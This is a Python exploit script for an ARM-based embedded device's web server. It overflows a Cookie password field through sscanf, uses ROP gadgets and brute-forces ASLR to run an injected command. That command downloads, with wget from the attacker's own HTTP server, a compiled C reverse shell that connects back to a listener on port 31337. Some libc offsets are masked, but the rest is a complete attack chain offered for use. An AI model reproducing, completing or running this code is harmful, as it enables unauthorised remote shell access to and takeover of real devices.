#!/usr/bin/env python import urllib2 import struct import time import socket from optparse import * import SimpleHTTPServer import SocketServer import threading import sys import os import subprocess ARM_REV_SHELL = ( "#include <sys/socket.h>\n" "#include <sys/types.h>\n" "#include <string.h>\n" "#include <stdio.h>\n" "#include <netinet/in.h>\n" "int main(int argc, char **argv)\n" "{\n" " struct sockaddr_in addr;\n" " socklen_t addrlen;\n" " int sock = socket(AF_INET, SOCK_STREAM, 0);\n" " memset(&addr, 0x00, sizeof(addr));\n" " addr.sin_family = AF_INET;\n" " addr.sin_port = htons(%d);\n" " addr.sin_addr.s_addr = inet_addr(\"%s\");\n" " int conn = connect(sock, (struct sockaddr *)&addr,sizeof(addr));\n" " dup2(sock, 0);\n" " dup2(sock, 1);\n" " dup2(sock, 2);\n" " system(\"/bin/sh\");\n" "}\n" ) REV_PORT = 31337 HTTPD_PORT = 8888 DONE = False """ * This function creates a listening socket on port * REV_PORT. When a connection is accepted it updates * the global DONE flag to indicate successful exploitation. * It then jumps into a loop whereby the user can send remote * commands to the device, interacting with a spawned /bin/sh * process. """ def threaded_listener(): global DONE s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) host = ("0.0.0.0", REV_PORT) try: s.bind(host) except: print "[+] Error binding to %d" %REV_PORT return -1 print "[+] Connect back listener running on port %d" %REV_PORT s.listen(1) conn, host = s.accept() #We got a connection, lets make the exploit thread aware DONE = True print "[+] Got connect back from %s" %host[0] print "[+] Entering command loop, enter exit to quit" #Loop continuosly, simple reverse shell interface. while True: print "#", cmd = raw_input() if cmd == "exit": break if cmd == '': continue conn.send(cmd + "\n") print conn.recv(4096) """ * Take the ARM_REV_SHELL code and modify it with * the given ip and port to connect back to. * This function then compiles the code into an * ARM binary. @Param comp_path – This should be the path of the cross-compiler. @Param my_ip – The IP address of the system running this code. """ def compile_shell(comp_path, my_ip): global ARM_REV_SHELL outfile = open("a.c", "w") ARM_REV_SHELL = ARM_REV_SHELL%(REV_PORT, my_ip) outfile.write(ARM_REV_SHELL) outfile.close() compile_cmd = [comp_path, "a.c","-o", "a"] s = subprocess.Popen(compile_cmd, stderr=subprocess.PIPE, stdout=subprocess.PIPE) while s.poll() == None: continue if s.returncode == 0: return True else: print "[x] Error compiling code, check compiler? Read the README?" return False """ * This function uses the SimpleHTTPServer module to create * a http server that will serve our malicious binary. * This function is called as a thread, as a daemon process. """ def start_http_server(): Handler = SimpleHTTPServer.SimpleHTTPRequestHandler httpd = SocketServer.TCPServer(("", HTTPD_PORT), Handler) print "[+] Http server started on port %d" %HTTPD_PORT httpd.serve_forever() """ * This function presents the actual vulnerability exploited. * The Cookie header has a password field that is vulnerable to * a sscanf buffer overflow, we make use of 2 ROP gadgets to * bypass DEP/NX, and can brute force ASLR due to a watchdog * process restarting any processes that crash. * This function will continually make malicious requests to the * devices web interface until the DONE flag is set to True. @Param host – the ip address of the target. @Param port – the port the webserver is running on. @Param my_ip – The ip address of the attacking system. """ def exploit(host, port, my_ip): global DONE url = "http://%s:%s/goform/exeCommand"%(host, port) i = 0 command = "wget http://%s:%s/a -O /tmp/a && chmod 777 /tmp/a && /tmp/./a &;" %(my_ip, HTTPD_PORT) #Guess the same libc base continuosly libc_base = **** curr_libc = libc_base + (0x7c << 12) system = struct.pack("<I", curr_libc + ****) #: pop {r3, r4, r7, pc} pop = struct.pack("<I", curr_libc + ****) #: mov r0, sp ; blx r3 mv_r0_sp = struct.pack("<I", curr_libc + ****) password = "A"*offset password += pop + system + "B"*8 + mv_r0_sp + command + ".gif" print "[+] Beginning brute force." while not DONE: i += 1 print "[+] Attempt %d" %i #build the request, with the malicious password field req = urllib2.Request(url) req.add_header("Cookie", "password=%s"%password) #The request will throw an exception when we crash the server, #we don't care about this, so don't handle it. try: resp = urllib2.urlopen(req) except: pass #Give the device some time to restart the time.sleep(1) print "[+] Exploit done" def main(): parser = OptionParser() parser.add_option("-t", "–target", dest="host_ip", help="IP address of the target") parser.add_option("-p", "–port", dest="host_port", help="Port of the targets webserver") parser.add_option("-c", "–comp-path", dest="compiler_path", help="path to arm cross compiler") parser.add_option("-m", "–my-ip", dest="my_ip", help="your ip address") options, args = parser.parse_args() host_ip = options.host_ip host_port = options.host_port comp_path = options.compiler_path my_ip = options.my_ip if host_ip == None or host_port == None: parser.error("[x] A target ip address (-t) and port (-p) are required") if comp_path == None: parser.error("[x] No compiler path specified, you need a uclibc arm cross compiler, such as https://www.uclibc.org/downloads/binaries/0.9.30/cross-compiler-arm4l.tar.bz2") if my_ip == None: parser.error("[x] Please pass your ip address (-m)") if not compile_shell(comp_path, my_ip): print "[x] Exiting due to error in compiling shell" return -1 httpd_thread = threading.Thread(target=start_http_server) httpd_thread.daemon = True httpd_thread.start() conn_listener = threading.Thread(target=threaded_listener) conn_listener.start() #Give the thread a little time to start up, and fail if that happens time.sleep(3) if not conn_listener.is_alive(): print "[x] Exiting due to conn_listener error" return -1 exploit(host_ip, host_port, my_ip) conn_listener.join() return 0 if __name__ == '__main__': main()